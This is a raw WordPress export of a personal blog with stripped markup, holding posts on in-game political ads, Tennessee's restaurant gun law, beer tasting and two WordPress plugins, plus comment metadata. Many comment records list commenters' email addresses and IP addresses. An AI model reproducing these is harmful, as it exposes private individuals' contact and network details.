19:32:40 2009-07-23 00:32:40 1 pingback 0 0 6888 contrib@realclimate.org 169.154.204.2 2009-07-27 12:57:25 2009-07-27 17:57:25 1 0 0 6884 http://www.paintbits.com/paintbits/lumen-reborn-is-here/ 82.102.6.110 2009-07-26 19:18:10 2009-07-27 00:18:10 1 pingback 0 0 6889 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-07-27 13:02:29 2009-07-27 18:02:29 1 6888 1 6890 contrib@realclimate.org 169.154.204.2 2009-07-27 13:49:34 2009-07-27 18:49:34 1 6889 0 6891 otto@ottodestruct.com 169.198.254.6 2009-07-27 14:26:18 2009-07-27 19:26:18 only solution for leaving those old links working is to not have paging.]]> 1 6890 1 6892 contrib@realclimate.org 169.154.204.2 2009-07-27 15:30:49 2009-07-27 20:30:49 1 6891 0 6893 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-07-27 15:56:00 2009-07-27 20:56:00 1 6892 1 6894 contrib@realclimate.org 169.154.204.2 2009-07-27 16:47:07 2009-07-27 21:47:07 1 6893 0 6905 prod@chickspirit.com http://www.whoischick.com 76.208.145.164 2009-08-17 17:16:46 2009-08-17 22:16:46 1 6683 0 6907 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-08-18 12:06:22 2009-08-18 17:06:22 1 6905 1 6906 http://yourcustomblog.com/8182009-weekly-links/ 74.220.215.221 2009-08-18 11:54:01 2009-08-18 16:54:01 1 pingback 0 0 6941 chviaxyz@gmail.com http://medsrxshop.org/fr/ 92.126.28.83 2009-09-24 05:13:19 2009-09-24 10:13:19 1 0 0
    favicon7 http://ottodestruct.com/blog/?attachment_id=439 Wed, 08 Oct 2008 20:01:20 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/10/favicon7.ico 439 2008-10-08 15:01:20 2008-10-08 20:01:20 open open favicon7 inherit 0 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/10/favicon7.ico _wp_attached_file 2008/10/favicon7.ico _wp_attachment_metadata a:0:{} btc_comment_counts a:0:{} favicon3 http://ottodestruct.com/blog/?attachment_id=440 Wed, 08 Oct 2008 20:01:49 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/10/favicon3.ico 440 2008-10-08 15:01:49 2008-10-08 20:01:49 open open favicon3 inherit 0 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/10/favicon3.ico _wp_attached_file 2008/10/favicon3.ico _wp_attachment_metadata a:0:{} btc_comment_counts a:0:{} Burnout Obama Screenshot http://ottodestruct.com/blog/2008/advertising-and-gaming/burnoutobama800_screen1/ Thu, 16 Oct 2008 16:21:53 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/10/burnoutobama800_screen1.jpg 455 2008-10-16 11:21:53 2008-10-16 16:21:53 open open burnoutobama800_screen1 inherit 454 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/10/burnoutobama800_screen1.jpg _wp_attached_file 2008/10/burnoutobama800_screen1.jpg _wp_attachment_metadata a:6:{s:5:"width";s:4:"1024";s:6:"height";s:3:"683";s:14:"hwstring_small";s:23:"height='85' width='128'";s:4:"file";s:35:"2008/10/burnoutobama800_screen1.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"burnoutobama800_screen1-150x100.jpg";s:5:"width";s:3:"150";s:6:"height";s:3:"100";}s:6:"medium";a:3:{s:4:"file";s:35:"burnoutobama800_screen1-300x200.jpg";s:5:"width";s:3:"300";s:6:"height";s:3:"200";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Advertising and Gaming http://ottodestruct.com/blog/2008/advertising-and-gaming/ Thu, 16 Oct 2008 16:26:44 +0000 http://ottodestruct.com/blog/?p=454 usenet in a discussion of the virtual worlds of games, and the subject of in-game-advertising was brought up. See, up until this point, advertising in games was mostly a static thing. The games didn't, on the whole, change the ads much. At some point during the discussion, the idea was advanced to the point of changing them dynamically. I mean, these are just big textures, there's no reason that the game could not detect an internet connection and download new ones on the fly. At the time, this was roundly hailed as preposterous, mainly because "internet" at that time mostly consisted of modems and dialup connections. Large scale multiplayer gaming was relatively new, and home broadband was basically limited to expensive ISDN connections. Of course, the idea was natural and obvious, but I quit most of my gaming about then, and so I didn't see how the idea went on and advanced in reality. Both the Xbox 360 and the PS3 have more or less mandatory internet support. That is to say that while you can certainly use the thing without internet hooked to it, virtually nobody does, because it enables the vast majority of the functionality of the thing. And so, naturally, advertising came in-game on those too. IGN Worldwide handles almost all of this advertising, from what I can tell. And recently, this got a big story boost, as it affects the elections. [caption id="attachment_455" align="alignright" width="300" caption="Screenshot of the Obama Ad in Burnout Paradise"]Screenshot of the Obama Ad in Burnout Paradise[/caption] Burnout Paradise on the Xbox 360 and PS3 have billboards beside the highway that show advertising. On the 360 version at least, from October 6 through November 3th, if you are a player in one of ten "battleground" states, then you'll be seeing Obama ads in the game. The ads say that Early Voting has begun as well as pointing to Obama's Vote For Change website. NPR's Morning Edition went on to confirm that the ads will appear in a total of 18 different games in those 10 states only, including Madden NFL and other sports games. They also mention that the ads are targeted to men 18-34, but I'm not certain if that means that they will only be shown to players fitting that demographic or not. It certainly could be, since if you use those consoles on the internet, then you have an account with demographic information like that. I find it fascinating that I missed this trend, and I can certainly see how it could be a good thing or a bad thing. I would not personally mind my games having live ads like this, as it would add a sense of realism and up-to-date-ness about them. On the other side of the coin though, I can see a lot of gamers upset by this sort of thing, as some people are simply against ads wherever they may be under any circumstances. It's still pretty neat, I say.]]> 454 2008-10-16 11:26:44 2008-10-16 16:26:44 open open advertising-and-gaming publish 0 0 post 0 aktt_notify_twitter no _edit_lock 1249598626 _edit_last 1 _geo_location , btc_comment_summary a:0:{} btc_comment_counts a:0:{} 6367 liquorfairy@gmail.com http://www.theliquorfairy.com 65.212.114.226 2008-10-29 12:58:03 2008-10-29 17:58:03 1 0 0 6351 mshaunwalker@aol.com 64.12.116.9 2008-10-26 10:24:58 2008-10-26 15:24:58 1 0 0 6404 gilesrsmith@googlemail.com http://www.panicroon.co.uk 80.244.179.100 2008-11-05 05:23:22 2008-11-05 11:23:22 1 0 0 6591 m@mullenweg.com http://ma.tt/ 72.36.230.250 2008-12-20 18:43:47 2008-12-21 00:43:47 1 0 0 6587 ab006@chebucto.ns.ca http://bentrem.sycks.net 96.52.237.62 2008-12-19 01:21:40 2008-12-19 07:21:40 More Hypocrisy from Mullenweg and WordPress with new themes jihad" "How Grey Is Your Valley: Making Money From Open Source" (good comments by Matt here) I think I put it quite well in chat, but neither Jeffro or Matt got what I meant: I think it matters if I follow a link from the repository to a free theme and don't have a pitch pushed in my face. If that's so, then I don't care if there are "proprietary" themes on the site. At least I didn't get fished in. cheers --bentrem]]> 1 0 0 6593 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-12-21 10:06:38 2008-12-21 16:06:38 1 6591 1 6759 jd@homelessdiver.com http://homelessdiver.com 121.1.46.22 2009-04-04 00:49:10 2009-04-04 05:49:10 1 0 0 A couple of Xmas shopping deals http://ottodestruct.com/blog/2008/a-couple-of-xmas-shopping-deals/ Mon, 15 Dec 2008 18:15:10 +0000 http://ottodestruct.com/blog/?p=473 this special link. Apparently it's some kind of tie in with Ellen Degeneres or something. This is a good deal for regular Amazon customers, as it gets you free two day shipping on pretty much everything you order. Also found this site called Free Shipping Day. A bunch of stores are banding together and offering free shipping this Thursday, the 18th. That's the last day you can order anything and get guaranteed delivery by Xmas. So if you need to get that last minute shopping done, check out those sites on Thursday.]]> 473 2008-12-15 12:15:10 2008-12-15 18:15:10 open open a-couple-of-xmas-shopping-deals publish 0 0 post 0 aktt_notify_twitter no _edit_lock 1229365582 _edit_last 1 _geo_location 35.14612862454304,-90.05355834960938 _geo_converted wp_geo_mashup_locations.id = 14 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Spotted in Savannah http://ottodestruct.com/blog/2009/spotted-in-savannah/ Fri, 02 Jan 2009 14:32:05 +0000 http://ottodestruct.com/blog/2009/01/02/spotted-in-savannah/ Spotted in Savannah, originally uploaded by Otto42. Spotted this one early in the trip. Too early, in point of fact, to actually drink Jager.]]> 478 2009-01-02 09:32:05 2009-01-02 14:32:05 open open spotted-in-savannah publish 0 0 post 0 aktt_notify_twitter no _edit_lock 1244226562 _edit_last 1 _geo_location , btc_post a:6:{s:2:"ID";s:3:"478";s:13:"post_date_gmt";s:19:"2009-01-02 14:32:05";s:23:"initial_import_date_gmt";s:19:"2009-07-27 14:52:26";s:20:"last_import_date_gmt";s:19:"0000-00-00 00:00:00";s:4:"hits";s:1:"0";s:6:"misses";s:1:"0";} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6656 mshaunwalker@aol.com 205.188.116.9 2009-01-17 12:08:16 2009-01-17 18:08:16 1 0 0 Cameron's house is up for sale http://ottodestruct.com/blog/2009/camerons-house-is-up-for-sale/ Fri, 29 May 2009 16:17:14 +0000 http://ottodestruct.com/blog/?p=482 http://www.realtor.com/realestateandhomes-detail/370-Beech-Street_Highland-Park_IL_60035_1109385563]]> 482 2009-05-29 11:17:14 2009-05-29 16:17:14 open open camerons-house-is-up-for-sale publish 0 0 post 0 _edit_lock 1243613841 aktt_notify_twitter no _edit_last 1 btc_post a:6:{s:2:"ID";s:3:"482";s:13:"post_date_gmt";s:19:"2009-05-29 16:17:14";s:23:"initial_import_date_gmt";s:19:"2009-07-27 14:52:22";s:20:"last_import_date_gmt";s:19:"2009-07-27 14:52:22";s:4:"hits";s:1:"0";s:6:"misses";s:1:"1";} btc_twitter 6887 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} 6887 http://twitter.com/jtpm 2009-07-02 23:47:08 2009-07-03 04:47:08 @gonolius http://bit.ly/2SPUJ
    you have to buy it

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    Classic Smilies Plugin http://ottodestruct.com/blog/wordpress-plugins/classic-smilies/classic-smilies/ Thu, 09 Jul 2009 16:21:04 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/07/classic-smilies.zip 492 2009-07-09 11:21:04 2009-07-09 16:21:04 open open classic-smilies inherit 491 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/07/classic-smilies.zip _wp_attached_file 2009/07/classic-smilies.zip _wp_attachment_metadata a:0:{} btc_comment_counts a:0:{} Classic Smilies http://ottodestruct.com/blog/wordpress-plugins/classic-smilies/ Thu, 09 Jul 2009 16:22:12 +0000 http://ottodestruct.com/blog/?page_id=491 Tango Smilies plugin, talked his way into getting the Tango/GNOME smilies integrated into core, replacing the old ones. Nothing wrong with that, in general. Improvements are always welcome. However, in this particular case, there is one major issue: Those smilies are freakin' hideous. I'm sorry, I get the need for GPL and all, and yay GNOME, but for god's sake, they're just unattractive and repugnant. The old ones look a thousand times better. Half of the new ones look identical, I can't tell whether they're smiling or frowning or what. So no, this will not stand. If he can do it, so can I. Introducing the Classic Smilies plugin. Basically, I just ripped apart his plugin and replaced the smilies with the classic ones from WordPress 2.8. It's the exact reverse of his plugin, it will undo the Tango/GNOME smilies and put the old ones back. Simple. Classic Smilies Plugin This plugin will soon be in the WordPress Extend section, hopefully.]]> 491 2009-07-09 11:22:12 2009-07-09 16:22:12 open open classic-smilies publish 172 0 page 0 aktt_notify_twitter no _edit_lock 1247156535 _edit_last 1 _wp_page_template default btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6869 http://www.wptavern.com/forum/general-wordpress/645-smilies-debate-going.html#post5256 67.228.235.94 2009-07-09 15:40:38 2009-07-09 20:40:38 1 pingback 0 0 6870 if.website@gmail.com http://ilfilosofo.com 76.22.150.239 2009-07-11 10:24:40 2009-07-11 15:24:40 preg_replace to str_replace; the former is unnecessary as far as I can tell and the latter, faster.]]> 1 0 0 The media are a bunch of idiots. http://ottodestruct.com/blog/2009/the-media-are-a-bunch-of-idiots/ Fri, 17 Jul 2009 19:16:06 +0000 http://ottodestruct.com/blog/?p=498 The problem is that it's not true. That's right, it's just not true. Jon Stewart got it wrong. Stephen Colbert got it wrong. Every major media outlet talking about "guns in bars" got it 100% wrong. You can't carry a firearm into a bar in Tennessee. Period. It's simply a lie. To understand why it's a lie, let's examine the facts. Here's a section of the TN State Code, before the law changed:.
    39-17-1305. Possession of firearm where alcoholic beverages are served. (a)  It is an offense for a person to possess a firearm within the confines of a building open to the public where liquor, wine or other alcoholic beverages, as defined in § 57-3-101(a)(1)(A), or beer, as defined in § 57-6-102(1), are served for on premises consumption. (b)  A violation of this section is a Class A misdemeanor. (c)  The provisions of subsection (a) shall not apply to a person who is: (1)  In the actual discharge of official duties as a law enforcement officer, or is employed in the army, air force, navy, coast guard or marine service of the United States or any member of the Tennessee national guard in the line of duty and pursuant to military regulations, or is in the actual discharge of duties as a correctional officer employed by a penal institution; or (2)  On the person's own premises or premises under the person's control or who is the employee or agent of the owner of the premises with responsibility for protecting persons or property.
    For those of you that can't read legalese, here's a quick translation:
    • You can't have a firearm in a place that serves alcohol.
    • Doing so is a misdemeanor.
    • Exceptions to this rule:
      • If you're police or military, that's okay.
      • If you own the place or are a security guard hired by the owner, that's okay.
    Pretty simple, right? No guns except for the obvious exceptions. Now, look at the text of the new law... Basically, it adds a new exception. Here's the text itself:
    (3) (A) Authorized to carry a firearm under § 39-17-1351 who is not consuming beer, wine or any alcoholic beverage, and is within the confines of a restaurant that is open to the public, serves alcoholic beverages, wine or beer, and is not an age-restricted venue as defined in § 39-17-1802. (B) As used in this subdivision (c)(3), "restaurant" means any public place kept, used, maintained, advertised and held out to the public as a place where meals are served and where meals are actually and regularly served, such place being provided with adequate and sanitary kitchen and dining room equipment, having employed therein a sufficient number and kind of employees to prepare, cook and serve suitable food for its guests. At least one (1) meal per day shall be served at least five (5) days a week, with the exception of holidays, vacations and periods of redecorating, and the serving of such meals shall be the principal business conducted. (C) This subdivision (c)(3) is subject to the provisions of § 39-17-1359, permitting a property owner to post notices on such property prohibiting firearms.
    Still don't get legalese? Well, let's break it down more simply: First, 39-17-1351 is the section of the law that defines Handgun Carry permits. So that's what that is talking about. Next, 39-17-1802 is part of the new non-smoking law. Wait, what? Recently, TN banned smoking in all restaurants and bars. However, they added an exception. They defined an "age-restricted venue" as a place that only allows people in who are 21 and older, all the time (instead of just at night or something). These places can allow smoking. Obviously, a lot of the bars did this, since large parts of their clientle smoke. However, many restaurants did not. These places make most of their money from food, they can't ban families from coming in. Basically, this definition created a rather obvious separation between a "restaurant" and a "bar", without actually making any definitions along those lines. "Bars" are 21 and up. "Restaurants" are not. There's exceptions of course, but for the most part this is the way it went down. Now, reading that law again, you'll find that it says "and is not an age-restricted venue as defined in 39-17-1802". That part matters. Remember, "bars" are age-restricted venues in order for them to allow smoking in the place. So this new law adds a new exception. Basically you now have this:
    • You can't have a firearm in a place that serves alcohol.
    • Doing so is a misdemeanor.
    • Exceptions to this rule:
      • If you're police or military, that's okay.
      • If you own the place or are a security guard hired by the owner, that's okay.
      • If you have a carry permit and are not drinking and the restaurant is not age-restricted, that's okay.
        • If the owner is okay with it too and doesn't post a sign about it.
    That not age-restricted bit means, basically, "and it's not a bar". If you prefer, it really means "and is a non-smoking establishment", for the most part, but these are basically equivalent at this point. So, the bottom line: you still cannot carry a gun into bars in Tennessee. Restaurants, yes. Bars, no. So if you're a member of the media (or even if you're Stephen Colbert) then please, do your research first before laying down your opinion. Your ignorance of the subject leaks out into the public, and they form biased opinions based on it, and frankly I'm sick of correcting people about the new gun law. It's not a bad thing, really, because it doesn't allow anything that the media claimed it does. Sheesh.]]>
    498 2009-07-17 14:16:06 2009-07-17 19:16:06 open open the-media-are-a-bunch-of-idiots publish 0 0 post 0 _edit_last 1 aktt_notify_twitter no _edit_lock 1248962488 btc_post a:6:{s:2:"ID";s:3:"498";s:13:"post_date_gmt";s:19:"2009-07-17 19:16:06";s:23:"initial_import_date_gmt";s:19:"2009-07-27 14:52:10";s:20:"last_import_date_gmt";s:19:"0000-00-00 00:00:00";s:4:"hits";s:1:"0";s:6:"misses";s:1:"0";} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6896 kryptonitejunkie@hotmail.com 216.212.151.90 2009-07-30 13:36:11 2009-07-30 18:36:11 1 0 0
    How to Taste and Describe a Beer http://ottodestruct.com/blog/2009/how-to-taste-and-describe-a-beer/ Mon, 20 Jul 2009 17:36:55 +0000 http://ottodestruct.com/blog/?p=503
  • Color describes the malts used, or the brewing process.
  • The amount of foam describes the carbonation.
  • How it dissipates describes the thickness or heavyness of the beer.
  • The amount of lace describes the freshness of the beer, the freshness of the hops used.
  • 2. Swirl. Yes, damnit, swirl it a bit, like you would a wine. This agitation pulls out the scents and carbonations from the brew. It also tests the head retention, which gives you more info about the lacing. 3. Smell. Smell the beer, obviously. Something like 80-90% of taste is actually smell. It's the most important part of tasting. Breath deeply of the beer through your nose and then, yes, through your mouth as well. The combination of these two gives you the best experience of the brew. Describe the scents you have. Wheat beers, for example, are often fruity or citrusy, usually because the brewer adds these types of ingredients specifically. Hops have a distinct odor, of course, but different types of hops smell different. Cascade hops (the most common type) smells completely different from fuggle hops, for example, and they are used in completely different types of beers. 4. Sip. Take a sip, swirl it around your mouth a bit. Don't swallow right away, let it warm up a small amount. Important bits to remember here:
    • Mouthfeel. You see this one a lot in beer circles. What does it feel like? What's the texture of the beer?
    • Consistency. Does the beer change a lot as you taste it? From beginning to end of glass even.
    • Breathe out while the beer is in your mouth. This increases the flavor experience. Really. Google "retro-olfaction".
    • What does it taste like? Salty? Bitter? Sweet? Acidic? Oily? Fruity? Beer can taste like just about anything, think of what it's similar to. Describe what it would go with.
    Now, once you've done this, describe the beer. Here's an example for PBR: Clear golden color, with a 3/4 inch thick white head, which quickly reduced to a minimal thin lacing. Pleasant but subdued scent, mostly sweet lagered malts. Slight amount of grain flavors, with subdued grassy hop undertones. Minimal bitterness. Somewhat fizzy in apperance, but only lightly carbonated flavors. Crisp and dry mouthfeel, with a slight hint of oilyness when warmer. Overall clean flavor, very light malts used. Good session beer, would be excellent with stronger beef or spiced chicken flavors. Simple.]]>
    503 2009-07-20 12:36:55 2009-07-20 17:36:55 open open how-to-taste-and-describe-a-beer publish 0 0 post 0 _edit_lock 1258401474 aktt_notify_twitter yes _edit_last 1 btc_post a:6:{s:2:"ID";s:3:"503";s:13:"post_date_gmt";s:19:"2009-07-20 17:36:55";s:23:"initial_import_date_gmt";s:19:"2009-07-27 14:52:07";s:20:"last_import_date_gmt";s:19:"2009-08-09 14:52:33";s:4:"hits";s:1:"1";s:6:"misses";s:2:"77";} btc_twitter 6885 btc_twitter 6886 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_comment_summary a:2:{i:0;a:3:{s:11:"comment_src";s:4:"blog";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"0";}i:1;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_own_blog_comment 6901 btc_blog 6901 _aktt_hash_meta aktt_tweeted 1 6885 http://twitter.com/beer_brewer 2009-07-21 22:08:09 2009-07-22 03:08:09 How to Taste and Describe a Beer http://is.gd/1H1Vj

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    6886 http://twitter.com/RSeligstein 2009-07-21 12:21:17 2009-07-21 17:21:17 Excellent Beer Tasting post by @otto42. As much as I am a wine snob, I do love good beer. I will def try this next time. http://bit.ly/crr0A

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    6898 choustonbg@gmail.com http://www.twitter.com/choustonbg 70.41.15.100 2009-08-02 23:49:04 2009-08-03 04:49:04 1 0 0 6901 http://www.twitter.com/choustonbg 2009-08-02 23:49:04 2009-08-03 04:49:04 Otto:

    I liked this blog post & would like to discuss it further with you. Plase email me or send a tweet my way on Twitter. Thanks!

    Houston

    This comment was originally posted on Nothing to see here

    ]]>
    ignored 0 0
    Profile Pictures http://ottodestruct.com/blog/photos/profile-pictures/ Thu, 06 Aug 2009 22:49:51 +0000 http://ottodestruct.com/blog/photos/profile-pictures/ 511 2009-08-06 17:49:51 2009-08-06 22:49:51 closed open profile-pictures publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Fat Tire Bike http://ottodestruct.com/blog/photos/fat-tire-bike/ Thu, 06 Aug 2009 22:49:51 +0000 http://ottodestruct.com/blog/photos/fat-tire-bike/ 512 2009-08-06 17:49:51 2009-08-06 22:49:51 closed open fat-tire-bike publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Wall Photos http://ottodestruct.com/blog/photos/wall-photos/ Thu, 06 Aug 2009 22:49:51 +0000 http://ottodestruct.com/blog/photos/wall-photos/ 513 2009-08-06 17:49:51 2009-08-06 22:49:51 closed open wall-photos publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Brightkite Photos http://ottodestruct.com/blog/photos/brightkite-photos/ Thu, 06 Aug 2009 22:49:51 +0000 http://ottodestruct.com/blog/photos/brightkite-photos/ 514 2009-08-06 17:49:51 2009-08-06 22:49:51 closed open brightkite-photos publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Towle's Wedding http://ottodestruct.com/blog/photos/towles-wedding/ Thu, 06 Aug 2009 22:49:51 +0000 http://ottodestruct.com/blog/photos/mobile-uploads/ 515 2009-08-06 17:49:51 2009-08-06 22:49:51 closed open towles-wedding publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Tennessee Brewery http://ottodestruct.com/blog/photos/tennessee-brewery/ Thu, 06 Aug 2009 22:49:51 +0000 http://ottodestruct.com/blog/photos/tennessee-brewery/ 516 2009-08-06 17:49:51 2009-08-06 22:49:51 closed open tennessee-brewery publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Apfelwein http://ottodestruct.com/blog/photos/apfelwein/ Thu, 06 Aug 2009 22:49:52 +0000 http://ottodestruct.com/blog/photos/apfelwein/ 517 2009-08-06 17:49:52 2009-08-06 22:49:52 closed open apfelwein publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} BBQ Fest 2009 http://ottodestruct.com/blog/photos/bbq-fest-2009/ Thu, 06 Aug 2009 22:49:52 +0000 http://ottodestruct.com/blog/photos/bbq-fest-2009/ 518 2009-08-06 17:49:52 2009-08-06 22:49:52 closed open bbq-fest-2009 publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Bacon http://ottodestruct.com/blog/photos/bacon/ Thu, 06 Aug 2009 22:49:52 +0000 http://ottodestruct.com/blog/photos/bacon/ 519 2009-08-06 17:49:52 2009-08-06 22:49:52 closed open bacon publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Snow in March http://ottodestruct.com/blog/photos/snow-in-march/ Thu, 06 Aug 2009 22:49:52 +0000 http://ottodestruct.com/blog/photos/snow-in-march/ 520 2009-08-06 17:49:52 2009-08-06 22:49:52 closed open snow-in-march publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Raleigh Beer Festival 2009 http://ottodestruct.com/blog/photos/raleigh-beer-festival-2009/ Thu, 06 Aug 2009 22:49:53 +0000 http://ottodestruct.com/blog/photos/raleigh-beer-festival-2009/ 521 2009-08-06 17:49:53 2009-08-06 22:49:53 closed open raleigh-beer-festival-2009 publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Random http://ottodestruct.com/blog/photos/random/ Thu, 06 Aug 2009 22:49:54 +0000 http://ottodestruct.com/blog/photos/random/ 523 2009-08-06 17:49:54 2009-08-06 22:49:54 closed open random publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} New Year's Eve 2009 - Mandy's Pics http://ottodestruct.com/blog/photos/new-years-eve-2009-mandys-pics/ Thu, 06 Aug 2009 22:49:54 +0000 http://ottodestruct.com/blog/photos/new-years-eve-2009-mandys-pics/ 524 2009-08-06 17:49:54 2009-08-06 22:49:54 closed open new-years-eve-2009-mandys-pics publish 144 0 page 0 aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Lifestream http://ottodestruct.com/blog/lifestream/ Wed, 12 Aug 2009 16:48:31 +0000 http://ottodestruct.com/blog/?page_id=525 525 2009-08-12 11:48:31 2009-08-12 16:48:31 closed closed lifestream publish 0 0 page 0 _edit_lock 1262883261 aktt_notify_twitter no _edit_last 1 _wp_page_template default btc_comment_counts a:0:{} btc_comment_summary a:0:{} Gravatar Box http://ottodestruct.com/blog/wordpress-plugins/gravatar-box/ Tue, 25 Aug 2009 16:25:23 +0000 http://ottodestruct.com/blog/?page_id=529 http://ottopress.com/wordpress-plugins/gravatar-box/ Plugin: [plugin name] Version: [plugin version] Last updated: [plugin updated_ago]. Downloaded: [plugin downloaded] times.

    Overview

    Gravatars are great. But many people don't have them. Wouldn't it be nice if, when a user was filling in the comments form, the page could automatically detect and show a users gravatar, if they have one? Or even better, show a sign up link if they don't have one? Well, here you go.

    Download Now

    Requirements

    WordPress 2.8 or higher.

    Features

    • Easy to install and use.
    • Integrates easily into any theme, with only one line of code.
    • Easily customizable through CSS styling.
    • No complex interface or options to mess with, just works.

    Installation Instructions

    1. Upload the files to the `/wp-content/plugins/gravbox/` directory
    2. Activate the plugin through the 'Plugins' menu in WordPress
    3. Add this to your comments form somewhere:
      <?php if (function_exists('gravbox')) gravbox(); ?>
    4. Add styling for it into your style.css. The gravbox() code adds a div with id of "gravbox". The image has the "gravatar" class, and is wrapped inside another div with a class of "gravatar_frame". The no-gravatar link is inside a p with a class of "nogravatar". This should be enough for any styling needs. If you wish to further alter the result or the size of the gravatar, edit the gravbox.js file.

    Licensing

    This plugin is licensed under the GPL Version 2 only.

    Method to get support

    You are free to email me, however I am also a moderator at the WordPress.org support forums, so you'll find me there as well.

    Download Now

    ]]>
    529 2009-08-25 11:25:23 2009-08-25 16:25:23 closed closed gravatar-box publish 172 0 page 0 aktt_notify_twitter no _edit_lock 1268150608 _edit_last 1 btc_comment_counts a:0:{} _wp_page_template default btc_comment_summary a:0:{} _aktt_hash_meta plugin gravatar-box plugin-info a:41:{s:4:"name";s:12:"Gravatar Box";s:4:"slug";s:12:"gravatar-box";s:7:"version";s:5:"1.0.3";s:6:"author";s:42:"Otto";s:11:"profile_url";s:50:"http://wordpress.org/extend/plugins/profile/otto42";s:12:"contributors";s:67:"Otto";s:8:"requires";s:3:"2.8";s:6:"tested";s:5:"2.9.2";s:13:"compatibility";s:4:"100%";s:10:"rating_raw";s:3:"100";s:11:"num_ratings";s:1:"6";s:14:"downloaded_raw";s:4:"2943";s:11:"updated_raw";s:10:"2009-08-31";s:12:"homepage_url";s:59:"http://ottodestruct.com/blog/wordpress-plugins/gravatar-box";s:11:"description";s:298:"

    Gravatars are great. But many people don't have them. Wouldn't it be nice if, when a user was filling in the comments form, the page could automatically detect and show a users gravatar, if they have one? Or even better, show a sign up link if they don't have one?

    Well, here you go.

    ";s:12:"installation";s:676:"
    1. Upload the files to the /wp-content/plugins/gravatar-box/ directory
    2. Activate the plugin through the 'Plugins' menu in WordPress
    3. Add this to your comments form somewhere: if (function_exists('gravbox')) gravbox();
    4. Add styling for it into your style.css. The gravbox() code adds a div with id of "gravbox". The image has the "gravatar" class, and is wrapped inside another div with a class of "gravatar_frame". The no-gravatar link is inside a p with a class of "nogravatar". This should be enough for any styling needs. If you wish to further alter the result or the size of the gravatar, edit the gravbox.js file.
    ";s:11:"screenshots";s:648:"
    1. gravatar-box screenshot 1

      Gravatar without any data entry

    2. gravatar-box screenshot 2

      Gravatar shows up when email address is entered

    3. gravatar-box screenshot 3

      Link appears if there is no Gravatar for that email address

    ";s:9:"changelog";s:529:"

    1.0.3

    Added support for logged in users. It will display their gravatar in a gravbox div same as non-logged-in users.

    1.0.2

    • Add toLowerCase() to gravbox.js, to allow emails with capital letters work correctly.

    1.0.1

    • Sorry about that, folks. Version 1.0 had two bugs that my working version did not. Somehow I checked in a version from before I corrected those bugs. 1.0.1 works now.

    1.0

    • First version, proof of concept.
    ";s:3:"faq";s:2307:"

    How do I make this look like...?

    Consult a quality CSS expert. I added the classes and such for just that reason. With some minor CSS code, you can make it look any way you like.

    If you must know, the particular CSS I use is this:

    gravbox {

    float:left; margin-right:6px; width:96px; height:96px; background:url(http://www.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=96.png); }

    gravbox .avatar {

    margin:0; padding:0; }

    gravbox .nogravatar {

    text-align:center; font-weight:bold; }

    gravbox img {

    border:1px solid black; }

    This makes the gravatar div into a fixed size of 96 px square, floating to the left of where I placed it (right before the comment form's fields). The background url is the default blank gray man avatar. When the person's actual gravatar loads, it has a 1 pixel solid black border. When there is no gravatar for the person, it shows the link to get one, bolded, centered, over the gray man background. The margin and padding are removed on #gravbox .avatar, because that's what appears for logged in users only, and I wanted a consistent look across the two cases.

